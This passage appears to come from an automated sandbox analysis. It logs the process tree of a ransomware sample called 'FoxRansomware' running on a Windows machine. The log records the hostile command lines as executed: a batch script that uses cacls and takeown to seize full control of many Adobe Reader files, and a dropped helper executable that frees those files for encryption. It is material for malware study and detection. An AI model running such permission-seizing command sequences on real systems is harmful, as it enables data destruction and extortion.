                                                    cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xPOZQ4vb.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\pmd.cer""
                                                    2⤵
                                                    • Loads dropped DLL
                                                    PID:1820
                                                    • C:\Windows\SysWOW64\cacls.exe
                                                      cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\pmd.cer" /E /G Admin:F /C
                                                      3⤵
                                                        PID:1604
                                                      • C:\Windows\SysWOW64\takeown.exe
                                                        takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\pmd.cer"
                                                        3⤵
                                                        • Modifies file permissions
                                                        PID:1720
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c x8OFcCor.exe -accepteula "pmd.cer" -nobanner
                                                        3⤵
                                                        • Loads dropped DLL
                                                        PID:1472
                                                        • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                          x8OFcCor.exe -accepteula "pmd.cer" -nobanner
                                                          4⤵
                                                          • Executes dropped EXE
                                                          PID:1280
                                                      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                        x8OFcCor.exe -accepteula -c Run -y -p extract -nobanner
                                                        3⤵
                                                        • Executes dropped EXE
                                                        PID:1728
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xPOZQ4vb.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_initiator.gif""
                                                      2⤵
                                                      • Loads dropped DLL
                                                      PID:972
                                                      • C:\Windows\SysWOW64\cacls.exe
                                                        cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_initiator.gif" /E /G Admin:F /C
                                                        3⤵
                                                          PID:2016
                                                        • C:\Windows\SysWOW64\takeown.exe
                                                          takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_initiator.gif"
                                                          3⤵
                                                          • Modifies file permissions
                                                          PID:1592
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c x8OFcCor.exe -accepteula "email_initiator.gif" -nobanner
                                                          3⤵
                                                          • Loads dropped DLL
                                                          PID:1808
                                                          • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                            x8OFcCor.exe -accepteula "email_initiator.gif" -nobanner
                                                            4⤵
                                                            • Executes dropped EXE
                                                            PID:1736
                                                        • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                          x8OFcCor.exe -accepteula -c Run -y -p extract -nobanner
                                                          3⤵
                                                          • Executes dropped EXE
                                                          PID:1580
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xPOZQ4vb.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\pdf.gif""
                                                        2⤵
                                                        • Loads dropped DLL
                                                        PID:1924
                                                        • C:\Windows\SysWOW64\cacls.exe
                                                          cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\pdf.gif" /E /G Admin:F /C
                                                          3⤵
                                                            PID:1528
                                                          • C:\Windows\SysWOW64\takeown.exe
                                                            takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\pdf.gif"
                                                            3⤵
                                                            • Modifies file permissions
                                                            PID:1328
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c x8OFcCor.exe -accepteula "pdf.gif" -nobanner
                                                            3⤵
                                                            • Loads dropped DLL
                                                            PID:1964
                                                            • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                              x8OFcCor.exe -accepteula "pdf.gif" -nobanner
                                                              4⤵
                                                              • Executes dropped EXE
                                                              PID:1264
                                                          • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                            x8OFcCor.exe -accepteula -c Run -y -p extract -nobanner
                                                            3⤵
                                                            • Executes dropped EXE
                                                            PID:1184
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xPOZQ4vb.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_issue.gif""
                                                          2⤵
                                                          • Loads dropped DLL
                                                          PID:988
                                                          • C:\Windows\SysWOW64\cacls.exe
                                                            cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_issue.gif" /E /G Admin:F /C
                                                            3⤵
                                                              PID:1652
                                                            • C:\Windows\SysWOW64\takeown.exe
                                                              takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_issue.gif"
                                                              3⤵
                                                              • Modifies file permissions
                                                              PID:808
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c x8OFcCor.exe -accepteula "server_issue.gif" -nobanner
                                                              3⤵
                                                              • Loads dropped DLL
                                                              PID:1676
                                                              • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                                x8OFcCor.exe -accepteula "server_issue.gif" -nobanner
                                                                4⤵
                                                                • Executes dropped EXE
                                                                PID:1624
                                                            • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                              x8OFcCor.exe -accepteula -c Run -y -p extract -nobanner
                                                              3⤵
                                                              • Executes dropped EXE
                                                              PID:540
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xPOZQ4vb.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInAcrobat.gif""
                                                            2⤵
                                                            • Loads dropped DLL
                                                            PID:964
                                                            • C:\Windows\SysWOW64\cacls.exe
                                                              cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInAcrobat.gif" /E /G Admin:F /C
                                                              3⤵
                                                                PID:816
                                                              • C:\Windows\SysWOW64\takeown.exe
                                                                takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInAcrobat.gif"
                                                                3⤵
                                                                • Modifies file permissions
                                                                PID:1072
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c x8OFcCor.exe -accepteula "turnOnNotificationInAcrobat.gif" -nobanner
                                                                3⤵
                                                                • Loads dropped DLL
                                                                PID:944
                                                                • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                                  x8OFcCor.exe -accepteula "turnOnNotificationInAcrobat.gif" -nobanner
                                                                  4⤵
                                                                  • Executes dropped EXE
                                                                  PID:1920
                                                              • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                                x8OFcCor.exe -accepteula -c Run -y -p extract -nobanner
                                                                3⤵
                                                                • Executes dropped EXE
                                                                PID:1604
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xPOZQ4vb.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd.otf""
                                                              2⤵
                                                              • Loads dropped DLL
                                                              PID:1104
                                                              • C:\Windows\SysWOW64\cacls.exe
                                                                cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd.otf" /E /G Admin:F /C
                                                                3⤵
                                                                  PID:1700
                                                                • C:\Windows\SysWOW64\takeown.exe
                                                                  takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd.otf"
                                                                  3⤵
                                                                  • Modifies file permissions
                                                                  PID:908
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c x8OFcCor.exe -accepteula "CourierStd.otf" -nobanner
                                                                  3⤵
                                                                  • Loads dropped DLL
                                                                  PID:1820
                                                                  • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                                    x8OFcCor.exe -accepteula "CourierStd.otf" -nobanner
                                                                    4⤵
                                                                    • Executes dropped EXE
                                                                    PID:1972
                                                                • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                                  x8OFcCor.exe -accepteula -c Run -y -p extract -nobanner
                                                                  3⤵
                                                                  • Executes dropped EXE
                                                                  PID:2016
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xPOZQ4vb.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zx______.pfm""
                                                                2⤵
                                                                • Loads dropped DLL
                                                                PID:1760
                                                                • C:\Windows\SysWOW64\cacls.exe
                                                                  cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zx______.pfm" /E /G Admin:F /C
                                                                  3⤵
                                                                    PID:576
                                                                  • C:\Windows\SysWOW64\takeown.exe
                                                                    takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zx______.pfm"
                                                                    3⤵
                                                                    • Modifies file permissions
                                                                    PID:1800
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c x8OFcCor.exe -accepteula "zx______.pfm" -nobanner
                                                                    3⤵
                                                                    • Loads dropped DLL
                                                                    PID:1988
                                                                    • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                                      x8OFcCor.exe -accepteula "zx______.pfm" -nobanner
                                                                      4⤵
                                                                      • Executes dropped EXE
                                                                      PID:1628
                                                                  • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                                    x8OFcCor.exe -accepteula -c Run -y -p extract -nobanner
                                                                    3⤵
                                                                    • Executes dropped EXE
                                                                    PID:1528
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xPOZQ4vb.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US_POSIX.txt""
                                                                  2⤵
                                                                  • Loads dropped DLL
                                                                  PID:2040
                                                                  • C:\Windows\SysWOW64\cacls.exe
                                                                    cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US_POSIX.txt" /E /G Admin:F /C
                                                                    3⤵
                                                                      PID:608
                                                                    • C:\Windows\SysWOW64\takeown.exe
                                                                      takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US_POSIX.txt"
                                                                      3⤵
                                                                      • Modifies file permissions
                                                                      PID:1956
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /c x8OFcCor.exe -accepteula "DisplayLanguageNames.en_US_POSIX.txt" -nobanner
                                                                      3⤵
                                                                      • Loads dropped DLL
                                                                      PID:1484
                                                                      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                                        x8OFcCor.exe -accepteula "DisplayLanguageNames.en_US_POSIX.txt" -nobanner
                                                                        4⤵
                                                                        • Executes dropped EXE
                                                                        PID:1172
                                                                    • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                                      x8OFcCor.exe -accepteula -c Run -y -p extract -nobanner
                                                                      3⤵
                                                                      • Executes dropped EXE
                                                                      PID:1652
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xPOZQ4vb.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can32.clx""
                                                                    2⤵
                                                                    • Loads dropped DLL
                                                                    PID:240
                                                                    • C:\Windows\SysWOW64\cacls.exe
                                                                      cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can32.clx" /E /G Admin:F /C
                                                                      3⤵
                                                                        PID:1500
                                                                      • C:\Windows\SysWOW64\takeown.exe
                                                                        takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can32.clx"
                                                                        3⤵
                                                                        • Modifies file permissions
                                                                        PID:912
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c x8OFcCor.exe -accepteula "can32.clx" -nobanner
                                                                        3⤵
                                                                        • Loads dropped DLL
                                                                        PID:1364
                                                                        • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                                          x8OFcCor.exe -accepteula "can32.clx" -nobanner
                                                                          4⤵
                                                                          • Executes dropped EXE
                                                                          PID:1648
                                                                      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                                        x8OFcCor.exe -accepteula -c Run -y -p extract -nobanner
                                                                        3⤵
                                                                        • Executes dropped EXE
                                                                        PID:816
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xPOZQ4vb.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\symbol.txt""
                                                                      2⤵
                                                                      • Loads dropped DLL
                                                                      PID:1788
                                                                      • C:\Windows\SysWOW64\cacls.exe
                                                                        cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\symbol.txt" /E /G Admin:F /C
                                                                        3⤵
                                                                          PID:1720
                                                                        • C:\Windows\SysWOW64\takeown.exe
                                                                          takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\symbol.txt"
                                                                          3⤵
                                                                          • Modifies file permissions
                                                                          PID:1096
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c x8OFcCor.exe -accepteula "symbol.txt" -nobanner
                                                                          3⤵
                                                                          • Loads dropped DLL
                                                                          PID:1308
                                                                          • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                                            x8OFcCor.exe -accepteula "symbol.txt" -nobanner
                                                                            4⤵
                                                                            • Executes dropped EXE
                                                                            PID:964
                                                                        • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                                          x8OFcCor.exe -accepteula -c Run -y -p extract -nobanner
                                                                          3⤵
                                                                          • Executes dropped EXE
                                                                          PID:1728
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xPOZQ4vb.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\SYMBOL.TXT""
                                                                        2⤵
                                                                        • Loads dropped DLL
                                                                        PID:908
                                                                        • C:\Windows\SysWOW64\cacls.exe
                                                                          cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\SYMBOL.TXT" /E /G Admin:F /C
                                                                          3⤵
                                                                            PID:1592
                                                                          • C:\Windows\SysWOW64\takeown.exe
                                                                            takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\SYMBOL.TXT"
                                                                            3⤵
                                                                            • Modifies file permissions
                                                                            PID:1312
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c x8OFcCor.exe -accepteula "SYMBOL.TXT" -nobanner
                                                                            3⤵
                                                                            • Loads dropped DLL
                                                                            PID:1104
                                                                            • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                                              x8OFcCor.exe -accepteula "SYMBOL.TXT" -nobanner
                                                                              4⤵
                                                                              • Executes dropped EXE
                                                                              PID:1280
                                                                          • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                                            x8OFcCor.exe -accepteula -c Run -y -p extract -nobanner
                                                                            3⤵
                                                                            • Executes dropped EXE
                                                                            PID:1352
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xPOZQ4vb.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_all.gif""
                                                                          2⤵
                                                                          • Loads dropped DLL
                                                                          PID:1800
                                                                          • C:\Windows\SysWOW64\cacls.exe
                                                                            cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_all.gif" /E /G Admin:F /C
                                                                            3⤵
                                                                              PID:1328
                                                                            • C:\Windows\SysWOW64\takeown.exe
                                                                              takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_all.gif"
                                                                              3⤵
                                                                              • Modifies file permissions
                                                                              PID:1808
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c x8OFcCor.exe -accepteula "email_all.gif" -nobanner
                                                                              3⤵
                                                                              • Loads dropped DLL
                                                                              PID:1704
                                                                              • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                                                x8OFcCor.exe -accepteula "email_all.gif" -nobanner
                                                                                4⤵
                                                                                • Executes dropped EXE
                                                                                PID:1736
                                                                            • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                                              x8OFcCor.exe -accepteula -c Run -y -p extract -nobanner
                                                                              3⤵
                                                                              • Executes dropped EXE
                                                                              PID:1184
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xPOZQ4vb.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\open_original_form.gif""
                                                                            2⤵
                                                                            • Loads dropped DLL
                                                                            PID:1956
                                                                            • C:\Windows\SysWOW64\cacls.exe
                                                                              cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\open_original_form.gif" /E /G Admin:F /C
                                                                              3⤵
                                                                                PID:808
                                                                              • C:\Windows\SysWOW64\takeown.exe
                                                                                takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\open_original_form.gif"
                                                                                3⤵
                                                                                • Modifies file permissions
                                                                                PID:1964
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c x8OFcCor.exe -accepteula "open_original_form.gif" -nobanner
                                                                                3⤵
                                                                                • Loads dropped DLL
                                                                                PID:2040
                                                                                • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                                                  x8OFcCor.exe -accepteula "open_original_form.gif" -nobanner
                                                                                  4⤵
                                                                                  • Executes dropped EXE
                                                                                  PID:1264
                                                                              • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                                                x8OFcCor.exe -accepteula -c Run -y -p extract -nobanner
                                                                                3⤵
                                                                                • Executes dropped EXE
                                                                                PID:596
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xPOZQ4vb.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\rss.gif""
                                                                              2⤵
                                                                              • Loads dropped DLL
                                                                              PID:912
                                                                              • C:\Windows\SysWOW64\cacls.exe
                                                                                cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\rss.gif" /E /G Admin:F /C
                                                                                3⤵
                                                                                  PID:1072
                                                                                • C:\Windows\SysWOW64\takeown.exe
                                                                                  takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\rss.gif"
                                                                                  3⤵
                                                                                  • Modifies file permissions
                                                                                  PID:1676
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c x8OFcCor.exe -accepteula "rss.gif" -nobanner
                                                                                  3⤵
                                                                                  • Loads dropped DLL
                                                                                  PID:240
                                                                                  • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                                                    x8OFcCor.exe -accepteula "rss.gif" -nobanner
                                                                                    4⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:1624
                                                                                • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                                                  x8OFcCor.exe -accepteula -c Run -y -p extract -nobanner
                                                                                  3⤵
                                                                                  • Executes dropped EXE
                                                                                  PID:1452
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xPOZQ4vb.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInTray.gif""
                                                                                2⤵
                                                                                • Loads dropped DLL
                                                                                PID:1096
                                                                                • C:\Windows\SysWOW64\cacls.exe
                                                                                  cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInTray.gif" /E /G Admin:F /C
                                                                                  3⤵
                                                                                    PID:2036
                                                                                  • C:\Windows\SysWOW64\takeown.exe
                                                                                    takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInTray.gif"
                                                                                    3⤵
                                                                                    • Modifies file permissions
                                                                                    PID:960
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c x8OFcCor.exe -accepteula "turnOffNotificationInTray.gif" -nobanner
                                                                                    3⤵
                                                                                    • Loads dropped DLL
                                                                                    PID:1788
                                                                                    • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                                                      x8OFcCor.exe -accepteula "turnOffNotificationInTray.gif" -nobanner
                                                                                      4⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:1876
                                                                                  • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                                                    x8OFcCor.exe -accepteula -c Run -y -p extract -nobanner
                                                                                    3⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:268
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xPOZQ4vb.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Oblique.otf""
                                                                                  2⤵
                                                                                    PID:1312
                                                                                    • C:\Windows\SysWOW64\cacls.exe
                                                                                      cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Oblique.otf" /E /G Admin:F /C
                                                                                      3⤵
                                                                                        PID:972
                                                                                      • C:\Windows\SysWOW64\takeown.exe
                                                                                        takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Oblique.otf"
                                                                                        3⤵
                                                                                        • Modifies file permissions
                                                                                        PID:1456
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c x8OFcCor.exe -accepteula "CourierStd-Oblique.otf" -nobanner
                                                                                        3⤵
                                                                                          PID:1820
                                                                                          • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                                                            x8OFcCor.exe -accepteula "CourierStd-Oblique.otf" -nobanner
                                                                                            4⤵
                                                                                            • Executes dropped EXE
                                                                                            PID:1244
                                                                                        • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                                                          x8OFcCor.exe -accepteula -c Run -y -p extract -nobanner
                                                                                          3⤵
                                                                                            PID:1868
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xPOZQ4vb.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\SY______.PFM""
                                                                                          2⤵
                                                                                            PID:1808
                                                                                            • C:\Windows\SysWOW64\cacls.exe
                                                                                              cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\SY______.PFM" /E /G Admin:F /C
                                                                                              3⤵
                                                                                                PID:1924
                                                                                              • C:\Windows\SysWOW64\takeown.exe
                                                                                                takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\SY______.PFM"
                                                                                                3⤵
                                                                                                • Modifies file permissions
                                                                                                PID:1628
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c x8OFcCor.exe -accepteula "SY______.PFM" -nobanner
                                                                                                3⤵
                                                                                                  PID:1800
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                                                                    x8OFcCor.exe -accepteula "SY______.PFM" -nobanner
                                                                                                    4⤵
                                                                                                      PID:564
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                                                                    x8OFcCor.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                    3⤵
                                                                                                      PID:1652
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xPOZQ4vb.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US.txt""
                                                                                                    2⤵
                                                                                                      PID:1964
                                                                                                      • C:\Windows\SysWOW64\cacls.exe
                                                                                                        cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US.txt" /E /G Admin:F /C
                                                                                                        3⤵
                                                                                                          PID:988
                                                                                                        • C:\Windows\SysWOW64\takeown.exe
                                                                                                          takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US.txt"
                                                                                                          3⤵
                                                                                                          • Modifies file permissions
                                                                                                          PID:796
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /c x8OFcCor.exe -accepteula "DisplayLanguageNames.en_US.txt" -nobanner
                                                                                                          3⤵
                                                                                                            PID:1648
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                                                                              x8OFcCor.exe -accepteula "DisplayLanguageNames.en_US.txt" -nobanner
                                                                                                              4⤵
                                                                                                                PID:1188
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                                                                              x8OFcCor.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                              3⤵
                                                                                                                PID:1676
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xPOZQ4vb.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can129.hsp""
                                                                                                              2⤵
                                                                                                                PID:1232
                                                                                                                • C:\Windows\SysWOW64\cacls.exe
                                                                                                                  cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can129.hsp" /E /G Admin:F /C
                                                                                                                  3⤵
                                                                                                                    PID:1364
                                                                                                                  • C:\Windows\SysWOW64\takeown.exe
                                                                                                                    takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can129.hsp"
                                                                                                                    3⤵
                                                                                                                    • Modifies file permissions
                                                                                                                    PID:912
                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                    C:\Windows\system32\cmd.exe /c x8OFcCor.exe -accepteula "can129.hsp" -nobanner
                                                                                                                    3⤵
                                                                                                                      PID:964
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                                                                                        x8OFcCor.exe -accepteula "can129.hsp" -nobanner
                                                                                                                        4⤵
                                                                                                                          PID:1728
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                                                                                        x8OFcCor.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                        3⤵
                                                                                                                          PID:960
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xPOZQ4vb.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\ICU\icudt26l.dat""
                                                                                                                        2⤵
                                                                                                                          PID:1396
                                                                                                                          • C:\Windows\SysWOW64\cacls.exe
                                                                                                                            cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\ICU\icudt26l.dat" /E /G Admin:F /C
                                                                                                                            3⤵
                                                                                                                              PID:1352
                                                                                                                            • C:\Windows\SysWOW64\takeown.exe
                                                                                                                              takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\ICU\icudt26l.dat"
                                                                                                                              3⤵
                                                                                                                              • Modifies file permissions
                                                                                                                              PID:908
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c x8OFcCor.exe -accepteula "icudt26l.dat" -nobanner
                                                                                                                              3⤵
                                                                                                                                PID:1528
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
